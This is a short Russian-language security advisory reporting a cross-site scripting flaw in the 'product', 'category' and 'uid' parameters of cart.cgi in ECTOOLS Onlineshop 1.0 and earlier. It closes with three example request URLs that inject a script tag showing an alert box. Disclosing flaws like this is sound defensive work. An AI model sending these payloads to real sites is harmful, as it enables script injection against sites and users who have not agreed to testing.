Программа: ECTOOLS Onlineshop 1.0 и более ранние версии
Удаленный пользователь может произвести XSS нападение. Уязвимость существует
из-за недостаточной обработки входных данных в параметрах "product", "category"
и "uid" в сценарии "cart.cgi". Удаленный пользователь может с помощью специально
сформированного запроса выполнить произвольный HTML код в браузере жертвы в
контексте безопасности уязвимого сайта.
Пример:
/cart.cgi?action=link&product=%22%3E%3C script%3Ealert('r0t')%3C/script%3E
/cart.cgi?action=search&category=%22%3E%3C script%3Ealert('r0t')%3C/script%3E
/cart.cgi?action=link&product=33&uid=%22%3E%3C
script%3Ealert('r0t')%3C/script%3E
